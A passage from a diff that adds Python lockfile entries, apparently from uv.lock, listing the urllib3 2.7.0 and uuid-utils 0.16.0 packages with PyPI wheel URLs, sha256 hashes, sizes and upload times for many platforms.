+    { url = "https://files.pythonhosted.org/packages/dc/9b/47798a6c91d8bdb567fe2698fe81e0c6b7cb7ef4d13da4114b41d239f65d/typing_inspection-0.4.2-py3-none-any.whl", hash = "sha256:4ed1cacbdc298c220f1bd249ed5287caa16f34d44ef4e9c3d0cbad5b521545e7", size = 14611, upload-time = "2025-10-01T02:14:40.154Z" },
+]
+
+[[package]]
+name = "urllib3"
+version = "2.7.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/53/0c/06f8b233b8fd13b9e5ee11424ef85419ba0d8ba0b3138bf360be2ff56953/urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c", size = 433602, upload-time = "2026-05-07T16:13:18.596Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", size = 131087, upload-time = "2026-05-07T16:13:17.151Z" },
+]
+
+[[package]]
+name = "uuid-utils"
+version = "0.16.0"
+source = { registry = "https://pypi.org/simple" }
+sdist = { url = "https://files.pythonhosted.org/packages/01/a1/822ceef22d1c139cffebe4b1b660cfaa10253d5c770aa2598dc8e9497593/uuid_utils-0.16.0.tar.gz", hash = "sha256:d6902d4375dfba4c9902c736bb82d3c040417b67f7d0fa48910ddfdb1ac95de7", size = 42596, upload-time = "2026-05-19T07:44:23.28Z" }
+wheels = [
+    { url = "https://files.pythonhosted.org/packages/24/24/0e18177e2fbb0b9f54f90fd48fe3302dfda731e22ad650d6e6f8f4b3d3d3/uuid_utils-0.16.0-cp311-cp311-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:04af9966ecd82b78eeba5725e29aa1e86fb8eb84b5443dd6a9935f9fadb6678e", size = 565929, upload-time = "2026-05-19T07:44:06.496Z" },
+    { url = "https://files.pythonhosted.org/packages/5a/7e/bb91b04b2c8a081a4df2d50f1a50dd85502e2391c6eaed71b339ec9f2524/uuid_utils-0.16.0-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:3d86ca394e0ea21bdb53784eb99276d263b93d1586f56678cab1414b7ae1d0f3", size = 290556, upload-time = "2026-05-19T07:43:44.973Z" },
+    { url = "https://files.pythonhosted.org/packages/69/2a/47ee18b294af59754ef5acfa96eb027137c98cef7521199b6f70be705de4/uuid_utils-0.16.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c9f504efeb20ffd9571621658f7c8093c646d33150406d5742e49ff7cd861615", size = 328059, upload-time = "2026-05-19T07:45:30.533Z" },
+    { url = "https://files.pythonhosted.org/packages/89/7c/ed6d8bb48eeecaed6722af1187d722c5243334be750419d10d5f05dffeb2/uuid_utils-0.16.0-cp311-cp311-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:57d85f48535dc541060f6b82f277cbcd12b78c04008ccc1039546cfcec027327", size = 334759, upload-time = "2026-05-19T07:45:07.715Z" },
+    { url = "https://files.pythonhosted.org/packages/ff/33/371bddf9fd47e045c375df9668eea0d96ce9201ab6a03985b0155498e376/uuid_utils-0.16.0-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:39453f1ebf4398fbeb71607f3437e2ac469c9e38b5921755c1e17ad0158a8907", size = 448927, upload-time = "2026-05-19T07:45:11.464Z" },
+    { url = "https://files.pythonhosted.org/packages/dc/f1/b201d5ee005d4987fc072714fcb9f6e75303520cf19d4deec0b4df44bf40/uuid_utils-0.16.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:50361aca5c2a770728a6343df85109fe57f89ac026827f34fe0153563cdc9ce7", size = 327178, upload-time = "2026-05-19T07:44:02.255Z" },
+    { url = "https://files.pythonhosted.org/packages/b1/6a/04b4c02ce5c24a3602baa12e59bd3ec853ae73c3e9319b706c4620f47a05/uuid_utils-0.16.0-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:948485c47d8569a8bf6e86f522a2599fa9134674bee9f483898e601e68c3caca", size = 352981, upload-time = "2026-05-19T07:44:25.578Z" },
+    { url = "https://files.pythonhosted.org/packages/2c/19/25db019727d14630c75c2a75a8ea66dd712bb468adcf410bac8d01ff19fd/uuid_utils-0.16.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:ceef237cf8467fddbf6d8466cc1f6e2c04605ec919046ef5eba10a895b559fcf", size = 504686, upload-time = "2026-05-19T07:43:46.43Z" },
+    { url = "https://files.pythonhosted.org/packages/5d/93/c000cd42ebfdd37cc74981ed31c979a1270156572bdebab8b5d61460e750/uuid_utils-0.16.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:24e6fa0d0ade7a9ad60a3c296022474983243df5b4e863babb4828a85ef2e52c", size = 610102, upload-time = "2026-05-19T07:45:53.765Z" },
+    { url = "https://files.pythonhosted.org/packages/15/1d/7dd239909c82616722b9ee53fa1b4657c6244fb4fd026890300ebf6db22b/uuid_utils-0.16.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:1c2df42314b014c9d23330f92887e21d2fc72fde0beb170c7833cd2d22d845a1", size = 569048, upload-time = "2026-05-19T07:45:41.596Z" },
+    { url = "https://files.pythonhosted.org/packages/f1/49/b6a688648368a9cc0137e183657956853a91dc06ef73deda27290d586155/uuid_utils-0.16.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:2e2f369dd734050fe96ae4905c58779b09276d47d5e9a0e5cd33ec7982784341", size = 532255, upload-time = "2026-05-19T07:45:16.936Z" },
+    { url = "https://files.pythonhosted.org/packages/3f/fb/34f221ae93d5ea249a0d7056bdf45313b8d267d6aa9c5d0673ac1a4746c7/uuid_utils-0.16.0-cp311-cp311-win32.whl", hash = "sha256:733da81d51ea578862d8b9b754e8968b6da2be2b7840aee868917c23cae84015", size = 171081, upload-time = "2026-05-19T07:45:26.578Z" },
+    { url = "https://files.pythonhosted.org/packages/a5/70/c2a608a813f655834ee6df4ce53ea46edad4d54f774eac1890be5c7e4e1c/uuid_utils-0.16.0-cp311-cp311-win_amd64.whl", hash = "sha256:10d21fddb086e69245c4f0f77c7b442471f3a242aa85f62954bff157baa1c5f2", size = 176770, upload-time = "2026-05-19T07:43:49.102Z" },
+    { url = "https://files.pythonhosted.org/packages/fd/c3/8ab4eff328a833c065f280b2e0d9ac873505b5e5282f2bc5133a9843d4dd/uuid_utils-0.16.0-cp311-cp311-win_arm64.whl", hash = "sha256:98e2404713677070cee9a99a1f1e24afd496c18e833ee1b31a0587659452ff80", size = 175274, upload-time = "2026-05-19T07:44:27.216Z" },
+    { url = "https://files.pythonhosted.org/packages/ff/4c/b4cf43a5d22bcdb91727acdf54be0d78e83e595b73c5a9a8a4291875f059/uuid_utils-0.16.0-cp312-cp312-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:727fae3f0682191ec9c8ce1cd0f71e81b471a2e26b7c5fd66712fc0f11640aa0", size = 562183, upload-time = "2026-05-19T07:45:02.683Z" },
+    { url = "https://files.pythonhosted.org/packages/d6/fb/4b0d1c4b5e9f8679ca41b9cdbce5749e1d5db3d3d42a07060d6ce61ac583/uuid_utils-0.16.0-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:66a9c8cedf7695c28e700f6a66bde0809c3b2e0d8a70968be7bfd47c908952e5", size = 289018, upload-time = "2026-05-19T07:44:07.726Z" },
+    { url = "https://files.pythonhosted.org/packages/de/43/2dc6c7401c8fab86e46b0b33ada6dcfde949b2fd48877ba6f880862be80e/uuid_utils-0.16.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9152bff801ec2ccf630df06d67389090a2c612dea87fbf9a887ab4b222929f6f", size = 326171, upload-time = "2026-05-19T07:45:25.186Z" },
+    { url = "https://files.pythonhosted.org/packages/9b/f5/48f11fb91f36453611ca148bc441436f279870b1ec6b576dc5167fb6e680/uuid_utils-0.16.0-cp312-cp312-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:06fc7db470c37e5c1ab3fd2cd159697d6f8b279d7d23b5b96bd418b115f8caa9", size = 332222, upload-time = "2026-05-19T07:45:09.036Z" },
+    { url = "https://files.pythonhosted.org/packages/30/cb/b2b49528521e4a097f129e8bf7850a26f00af46afba778832cf3458a5c00/uuid_utils-0.16.0-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3e1a1f57fe3631e164dad27b24aa81267810e20575f705af3b0fa734f3a21247", size = 444801, upload-time = "2026-05-19T07:45:37.517Z" },
+    { url = "https://files.pythonhosted.org/packages/a9/b3/a28d9c6f7c701dfe01c8020b30e33899a28eb9e4d056b07e7388f50ebf67/uuid_utils-0.16.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3ee392fe59808a731b7b6bf4d453fb6e833774921331cceae5f254d1e9c5b97d", size = 325594, upload-time = "2026-05-19T07:44:44.682Z" },
+    { url = "https://files.pythonhosted.org/packages/cf/65/e1ff41dc44966e396ead86e104ba21b35ddb07ff7a64bb55013074ee77fe/uuid_utils-0.16.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:b2e981b1258db444df4cf4bf4c79673570d081d48d35f22d0f86471e0ad795c5", size = 349312, upload-time = "2026-05-19T07:45:15.582Z" },
+    { url = "https://files.pythonhosted.org/packages/ed/57/fb19b7951f66a46e03bd1943a61ee9d59c83e994e56e8c97d79aff1f0e47/uuid_utils-0.16.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:bbb92feb4db08cd76e27b4d3b1a82bfde708447317150c614eb9f761a43b387e", size = 502115, upload-time = "2026-05-19T07:43:38.756Z" },
+    { url = "https://files.pythonhosted.org/packages/2f/8e/9a129c469b7b77afb62da5c6b7e92591073b845bd0c3108c0d0aa65389fb/uuid_utils-0.16.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:1c3c5afaaa68b1d6393d653e9fc93a2fde9da1681da01f74b4593f41d31fb5f1", size = 607433, upload-time = "2026-05-19T07:44:11.675Z" },
+    { url = "https://files.pythonhosted.org/packages/4a/56/2ef71fad168cc3d894f7094fa458086c093635d7835381c91470b19c9ad3/uuid_utils-0.16.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:38126b353527c5f001e4b24db9e62351eb768d0367febcd68100a4b39a035109", size = 566076, upload-time = "2026-05-19T07:44:35.453Z" },
+    { url = "https://files.pythonhosted.org/packages/95/bf/68e60ea053ca30f35df877b96001331398140d5c4983561affa1350331b1/uuid_utils-0.16.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:41a67e546d9adf11c4e4cb5c8e81f000f8b1f000c17912ced089b499855719a5", size = 530645, upload-time = "2026-05-19T07:45:49.278Z" },
+    { url = "https://files.pythonhosted.org/packages/42/19/b521f7d73094fca4c0c44002f4a42bfcbcf0b770fdc3c4b9a596dda25734/uuid_utils-0.16.0-cp312-cp312-win32.whl", hash = "sha256:52d2cc8c12a3466cd1727883e0746d8bad5dddd670369eb553ba17fdc3b565ca", size = 168887, upload-time = "2026-05-19T07:45:45.502Z" },
+    { url = "https://files.pythonhosted.org/packages/87/1f/4126c3ccbc2d98a613664e55f6ab6d7bd4b98424a04486e4fcc76549af15/uuid_utils-0.16.0-cp312-cp312-win_amd64.whl", hash = "sha256:c97625e5edfda8b118160ce1e88756f92b1635775f836c168be7bf10928d97fa", size = 174607, upload-time = "2026-05-19T07:43:52.938Z" },
+    { url = "https://files.pythonhosted.org/packages/74/62/b83ccc8446ae39dcc0bda2cb3b525b6af6a2036383afe1d1d5fe7b234c2c/uuid_utils-0.16.0-cp312-cp312-win_arm64.whl", hash = "sha256:baf79c8050eb784b252dd34807df73f61130fe8676b61231baccab62530f20ec", size = 173021, upload-time = "2026-05-19T07:45:10.204Z" },
+    { url = "https://files.pythonhosted.org/packages/60/9b/74c1f47a9b4f138a254e51528e5ffaeba6bf99ecead9f0c4b6fccccfbfcb/uuid_utils-0.16.0-cp313-cp313-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:d34cf9681e8892fad2a63e393068e544505408748cd8bf0c3517d753a01528d4", size = 563166, upload-time = "2026-05-19T07:44:10.494Z" },
+    { url = "https://files.pythonhosted.org/packages/7c/1c/009e37b70f1f0ff17e7103a36bafde33d503d9ea7fe739761aa3e3c9fde6/uuid_utils-0.16.0-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:0681d1bdb7956e0c6d581e7601dabcfb2b08c25d2a65189f4e9b102c94f5ff46", size = 289529, upload-time = "2026-05-19T07:43:54.466Z" },
+    { url = "https://files.pythonhosted.org/packages/5e/5e/e0323d54321166639eb2be5e8a464f5cb0fc04d72d91f3e78944bb6a1da8/uuid_utils-0.16.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ed45fb8732d216426227096b55accbb87cba57febc86a044d90780b090eb99d0", size = 326328, upload-time = "2026-05-19T07:45:31.901Z" },
+    { url = "https://files.pythonhosted.org/packages/f0/a3/046f6cb958467c3bf4a163a8a53b178b64a62e21ed8ad5b2c1dacb3a2cfc/uuid_utils-0.16.0-cp313-cp313-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:b617a334bb01ef2ff8c22900f5a14125eb9063f602131494cc9dc59519beaa5b", size = 332322, upload-time = "2026-05-19T07:43:41.284Z" },
+    { url = "https://files.pythonhosted.org/packages/67/80/01914e3949744db7acd0006885e5542fbebb6e39114857d007d29b3265c2/uuid_utils-0.16.0-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:a750d8aeb8ae880aa9a2529606bde0e994bcc7448730c953107f357a28e6102e", size = 445787, upload-time = "2026-05-19T07:45:36.102Z" },
+    { url = "https://files.pythonhosted.org/packages/14/ef/f6908f41279f205d70c8a0d5dcb25dd6802741d7f88e3f0123453c3584d3/uuid_utils-0.16.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9a250e111903c4368745fce5ac2aa607bd477c62d3307e45347338fdb64b38e0", size = 324678, upload-time = "2026-05-19T07:45:12.77Z" },
+    { url = "https://files.pythonhosted.org/packages/11/4a/bf841ba90f829c7779d82155e0f4b88ef6726ccc25507d064d50ac2cd329/uuid_utils-0.16.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:95b7f480010ea98a29ee809857a98aa923008c68129af1b39244adccff7377fb", size = 349704, upload-time = "2026-05-19T07:44:47.172Z" },
+    { url = "https://files.pythonhosted.org/packages/e6/31/3b5c60172b8c57bf4ca485484b8e4edef550ca324f9287f1183be97422e2/uuid_utils-0.16.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:420aa3ca403cedb73490b6ea3aeefeea7e0455f5ce60bbf856390ee872ae3306", size = 502456, upload-time = "2026-05-19T07:45:00.821Z" },
+    { url = "https://files.pythonhosted.org/packages/88/bf/3da8d497af80fd51d8bf85551c77ede67f07825924ec5987bf9b6031014a/uuid_utils-0.16.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:b8a9a7b1065a12d40f2cc25b7d705ab34954cc57095034367bca39ebcf4a876b", size = 607727, upload-time = "2026-05-19T07:44:30.058Z" },
+    { url = "https://files.pythonhosted.org/packages/bd/4e/7c8cf03ec15cd6f40e4cbab81b2b4a625461327f68c7971e54723280ec3e/uuid_utils-0.16.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:f235ac5827d74ac630cc87f29278cdaa5d2f273613a6e05bbd96df7aa4170776", size = 566204, upload-time = "2026-05-19T07:44:51.225Z" },
+    { url = "https://files.pythonhosted.org/packages/f9/5f/af955feae69cce7fd2121ca3f790ff4b85ad2e17b2149546f50753e1a047/uuid_utils-0.16.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:c8083284488b84ad178e74add64cfd1e74e8be5e30821e5acbc5019281c658b0", size = 529986, upload-time = "2026-05-19T07:45:57.85Z" },
+    { url = "https://files.pythonhosted.org/packages/10/cf/3fec757e51bef10eb41ae8075f5442c60e85ff456b42d16a3063f5dc6c80/uuid_utils-0.16.0-cp313-cp313-pyemscripten_2025_0_wasm32.whl", hash = "sha256:27a071a899ba46a551d6524dbbc5a98b88be176d0f55ddf72cf71c005326ac10", size = 98683, upload-time = "2026-05-19T07:44:16.369Z" },
+    { url = "https://files.pythonhosted.org/packages/40/a7/cd1adbea7ef882a70db064c00cd93b12e11027b4cdd7ffd79e95c35fc3e3/uuid_utils-0.16.0-cp313-cp313-win32.whl", hash = "sha256:924a8de04460e4cf65998ad0b6568084f7c51740ebd3254d07a0bcde35a84af6", size = 168822, upload-time = "2026-05-19T07:44:24.09Z" },
+    { url = "https://files.pythonhosted.org/packages/74/99/617ceb9e3a95b23837012740979baf71afad723b70daf34862da3f7c17a1/uuid_utils-0.16.0-cp313-cp313-win_amd64.whl", hash = "sha256:5279bc7ab3c6683f1c67314695bee14d869015acbbc677bdb0015190fe753d16", size = 174967, upload-time = "2026-05-19T07:44:56.022Z" },
+    { url = "https://files.pythonhosted.org/packages/d9/d8/148ae707bfc36d482e39db679c86b81bdce264d4feb9df5d40a03b7687e3/uuid_utils-0.16.0-cp313-cp313-win_arm64.whl", hash = "sha256:61a9c4c26ad12ac66fa4bfd0fdb8494724fe7a5b98a9fcd43e78e2b388663dbb", size = 173142, upload-time = "2026-05-19T07:43:50.171Z" },
+    { url = "https://files.pythonhosted.org/packages/21/05/ca6d60705e71fdeaa3431dad94e279a8213c5573cb2925e1aabf3dc0330a/uuid_utils-0.16.0-cp313-cp313t-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:73486b6aa3f755a6c97000f5ea67e7ac78d6df89bf22980789a1e943e24b74f0", size = 564408, upload-time = "2026-05-19T07:44:38.351Z" },
+    { url = "https://files.pythonhosted.org/packages/eb/8c/b9a0462c38535c1662acb1025768e2d626bee5ce9e1790bad6b5381162ea/uuid_utils-0.16.0-cp313-cp313t-macosx_10_12_x86_64.whl", hash = "sha256:f1614572fd9345cdc3dde3f40c237345719fabca1aa87d2d87b321d523cfa34d", size = 289923, upload-time = "2026-05-19T07:45:19.611Z" },
+    { url = "https://files.pythonhosted.org/packages/f2/33/a53afeef1a56051551a0f5a801e4bce411dd73c6a8c99bad16902651256d/uuid_utils-0.16.0-cp313-cp313t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9346ce6eb1fbd8b03a6b331d66016afcb4edcdff6eac708e21391600529a016a", size = 325762, upload-time = "2026-05-19T07:45:18.261Z" },
+    { url = "https://files.pythonhosted.org/packages/72/ca/4462a4f36365d7ee72d41e05e6bcfe127e861b073ab37c25b2c8a518317c/uuid_utils-0.16.0-cp313-cp313t-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:a0fc6eb3fd821466fbab69cf356c6ec2b7327266bbbc740a2eb57c77c4bef965", size = 332359, upload-time = "2026-05-19T07:45:34.886Z" },
+    { url = "https://files.pythonhosted.org/packages/c5/67/9d3373fa7c5a746fdecc64e30caf915c29eb632203508d87676f9243ed03/uuid_utils-0.16.0-cp313-cp313t-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:13a797e5e8f0dadc18351a5aa013815ddac25dce6864072a539d510910c95f71", size = 445483, upload-time = "2026-05-19T07:44:49.598Z" },
+    { url = "https://files.pythonhosted.org/packages/57/08/ce01aa6d897fc7f875844fe58cad0a542c8ebf089d9242b654b56260ecb8/uuid_utils-0.16.0-cp313-cp313t-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:57c3583b1f1c00a94f59726a5e2b988fa209221143919a1af5c2fc24e318fc98", size = 326281, upload-time = "2026-05-19T07:44:59.677Z" },
+    { url = "https://files.pythonhosted.org/packages/76/ef/2c719b2c26bb5b5e5061a1435c11ad2bd33ac3cd6d4cd0c7c3ac1d3396ed/uuid_utils-0.16.0-cp313-cp313t-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:caac9c8b1d50e8fbddc76e93bfefbef472978eb45adbfdb6289d578816992953", size = 350809, upload-time = "2026-05-19T07:45:28.076Z" },
+    { url = "https://files.pythonhosted.org/packages/e0/9b/c1ed447328b32229cca38ac4c62d309eab006e5e9c4020e2056a175bc607/uuid_utils-0.16.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:91db59bad97ed2b9d2c6ed25082fe9762b2c422e694fe06786b28cf4e776ac4c", size = 502088, upload-time = "2026-05-19T07:44:09.208Z" },
+    { url = "https://files.pythonhosted.org/packages/c1/e0/8442f4efe7bde72f0b4ae5f675d0c7fbe209ad0b54718b8ddf43c46c6fae/uuid_utils-0.16.0-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:41985e342a30e76366a8becc60bbdb07d72cd1b86ec657b1f31654e9fb1baada", size = 607631, upload-time = "2026-05-19T07:44:19.384Z" },
+    { url = "https://files.pythonhosted.org/packages/f1/1e/9a9fa261edf4c972f28ae83421377e3ab8dbd0bd7db58fd316e782d09a3b/uuid_utils-0.16.0-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:1b0dcedf9266bf34a54d5cbe78648eaa627e02352f2a6923ed647530aea2f661", size = 567618, upload-time = "2026-05-19T07:43:58.478Z" },
+    { url = "https://files.pythonhosted.org/packages/cc/f7/1bcfdb9d539bd42736dd6076470a42fbb5db23f79712c0a06aa0a3752f7b/uuid_utils-0.16.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:26fe23ab60f05de4ad70aaa5b6a4c2a7bbd43055e3dd6f6b31efba0532ac9c71", size = 530971, upload-time = "2026-05-19T07:45:06.348Z" },
+    { url = "https://files.pythonhosted.org/packages/24/0c/18945f417d6bb4d0dd2b7652fe36c58c4e83bcf593b9b326b83aa40b853a/uuid_utils-0.16.0-cp313-cp313t-win32.whl", hash = "sha256:7f8cf49c05d58523a0f977cb7f11afc05791a0fa164d7303b8365a34750638e7", size = 169369, upload-time = "2026-05-19T07:44:32.581Z" },
+    { url = "https://files.pythonhosted.org/packages/cc/cc/c0eb0c3fab2ed80d706369b750029143b53126809b77b36bcbb77da66bab/uuid_utils-0.16.0-cp313-cp313t-win_amd64.whl", hash = "sha256:e99f9a8b2420b228faba23a637e96efaf5c6a678b2e225870f24431c82707f50", size = 175384, upload-time = "2026-05-19T07:45:56.623Z" },
+    { url = "https://files.pythonhosted.org/packages/b7/77/50ac87b6e18b1c686f700aa38c9471a990683c6a955f71ac1a6677ed8145/uuid_utils-0.16.0-cp314-cp314-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:6853b627983aa1b4fd95aa52d9e87136eb94a7b3b7de0fbb1db8a498d457eeec", size = 564108, upload-time = "2026-05-19T07:43:55.609Z" },
+    { url = "https://files.pythonhosted.org/packages/83/16/65046676de246bb5334d9f58aa96d2feb9fc347fda3556aaff7da1c2fc7a/uuid_utils-0.16.0-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:f44b65ae0c329843817d9c90e36a7a3c677b413bf407c99e67db874dac49dad3", size = 289967, upload-time = "2026-05-19T07:45:38.886Z" },
+    { url = "https://files.pythonhosted.org/packages/91/d6/54fa988606a15dfd2028e925d8eb9c3ee6edbf1eb7692a67b37282880b56/uuid_utils-0.16.0-cp314-cp314-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:de8a365795a76f347f5622621c2bee543cffa0c70949f3ee093bdefc9d926dcc", size = 325835, upload-time = "2026-05-19T07:44:42.02Z" },
+    { url = "https://files.pythonhosted.org/packages/d5/1b/50622f967ceacea1f89fd065d9bfd395b51acb02cfb0a4ddc8fa9ff0c983/uuid_utils-0.16.0-cp314-cp314-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:426a8c9af90242d879706ccf29da56f0b0712e7739fb0bbe16baacabc75596e2", size = 332607, upload-time = "2026-05-19T07:43:42.42Z" },
+    { url = "https://files.pythonhosted.org/packages/12/f5/4059706be6617e2787e375ea52994ce3c3fa3920b7d4a9c8ebf7895681a5/uuid_utils-0.16.0-cp314-cp314-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:833bc4b3c3fc24be541f67b01b4a75b6b9942a9b7137395b4eb35435948bd6da", size = 444287, upload-time = "2026-05-19T07:43:37.106Z" },
+    { url = "https://files.pythonhosted.org/packages/65/d5/f44b2710563da687a368f0ce4dcbd462dfb6708bcd46439d831991d595c7/uuid_utils-0.16.0-cp314-cp314-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:efb5252d7c00d586077f10e169d6e6d0b0d0f806d8a085073f0d19b4737aef4e", size = 324949, upload-time = "2026-05-19T07:45:33.175Z" },
+    { url = "https://files.pythonhosted.org/packages/3a/a7/a69e859e37d26c5603f0bc0ae481860f691224f140e5a832f325b804770d/uuid_utils-0.16.0-cp314-cp314-manylinux_2_5_i686.manylinux1_i686.whl", hash = "sha256:0b3377ce388fd7bf8d231ec9d1d4f58c8e87888ddea93581f60ed6f878a4f722", size = 349651, upload-time = "2026-05-19T07:43:59.998Z" },
+    { url = "https://files.pythonhosted.org/packages/db/73/4139cd3ca7b81ea283c1c8769373e9b2008241c0744a8ffb25f0a1b31325/uuid_utils-0.16.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:12b6310beb38adc173ec5dc89e98812fd7e3d98f87f3ef01d2ea6ecb5d87994f", size = 502326, upload-time = "2026-05-19T07:45:40.292Z" },
+    { url = "https://files.pythonhosted.org/packages/cb/8c/858101583fbad1b3fa04da88b1f7170836aa0f00b4cb712063325c44466d/uuid_utils-0.16.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:a49b5a75497643479c919e2e537a4a36224ac3aaa0fada61b75d87024021ac3e", size = 607689, upload-time = "2026-05-19T07:44:48.355Z" },
+    { url = "https://files.pythonhosted.org/packages/5e/bd/8f3d54a4763dd91ebd0f3d7b0c2ec434e4e0b1fc667b03a44d611a465ec6/uuid_utils-0.16.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:63bfdf00be51b6b3b79275d6767d034ea5c7a0caa067a35d72861284100cb60a", size = 566214, upload-time = "2026-05-19T07:44:53.519Z" },
+    { url = "https://files.pythonhosted.org/packages/54/76/4c9a8d9baaa243c7902d84dbba4d51b1ab51c379c66d3fd6368ff6933ecf/uuid_utils-0.16.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7525bc59ac4579c32317d2493dd42cf134b9bb50cd0bc6a41dd9f77e4740dde6", size = 529989, upload-time = "2026-05-19T07:44:43.141Z" },
+    { url = "https://files.pythonhosted.org/packages/6d/13/d32cea997f880cedde415730ce0e872ebfd7a040155ae0bbda70eccd208e/uuid_utils-0.16.0-cp314-cp314-win32.whl", hash = "sha256:fbcac6e6710aa2e4bfbb81762758e01470dc56d5048ba4253acc77c9833568ff", size = 169146, upload-time = "2026-05-19T07:45:46.655Z" },
+    { url = "https://files.pythonhosted.org/packages/1c/19/9fc55172d8fe59e1f27a14d598b427fa508a7ebb35fa7b7b99c24fa0ef13/uuid_utils-0.16.0-cp314-cp314-win_amd64.whl", hash = "sha256:d23fcaf37368a1647319187ef6f8b741bf079f033065899bc2d00a44b0a1214a", size = 175364, upload-time = "2026-05-19T07:45:55.335Z" },
+    { url = "https://files.pythonhosted.org/packages/89/5d/fcd9226b715c5aa0638fcdd6deaf0de6c6c3c451c692cd76bfca810c6512/uuid_utils-0.16.0-cp314-cp314-win_arm64.whl", hash = "sha256:ea3265f8e2b452a4870f3298cb1d183dc4e36a3682cbb264dbe46af31267e706", size = 173268, upload-time = "2026-05-19T07:44:31.19Z" },
+    { url = "https://files.pythonhosted.org/packages/c1/64/97ec9af95e58b8187f2934008ffab26e1604d149e34fe01c388b0543a24f/uuid_utils-0.16.0-cp314-cp314t-macosx_10_12_x86_64.macosx_11_0_arm64.macosx_10_12_universal2.whl", hash = "sha256:99f8420c3ed59f89a086782ac197e257f4b1debb4545dffa90cf5db23f96c892", size = 564464, upload-time = "2026-05-19T07:44:40.856Z" },
+    { url = "https://files.pythonhosted.org/packages/3e/6d/e4082f407484ac28923c0bf8e861e71d277118d8b7542d0a350340e45350/uuid_utils-0.16.0-cp314-cp314t-macosx_10_12_x86_64.whl", hash = "sha256:259bab73c241743d684dcc3507feb76f484d720545e4e4805582aeff8e19700b", size = 290087, upload-time = "2026-05-19T07:44:01.084Z" },
+    { url = "https://files.pythonhosted.org/packages/8c/43/c5c5f273c0ff889f20f10344784f9197dd00eb81ccc294330d4b949fea7e/uuid_utils-0.16.0-cp314-cp314t-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:897e8ef0dc5e4ac0b17cf9cae84bb41e560d806280ec5b93db7475b504022105", size = 325532, upload-time = "2026-05-19T07:43:47.508Z" },
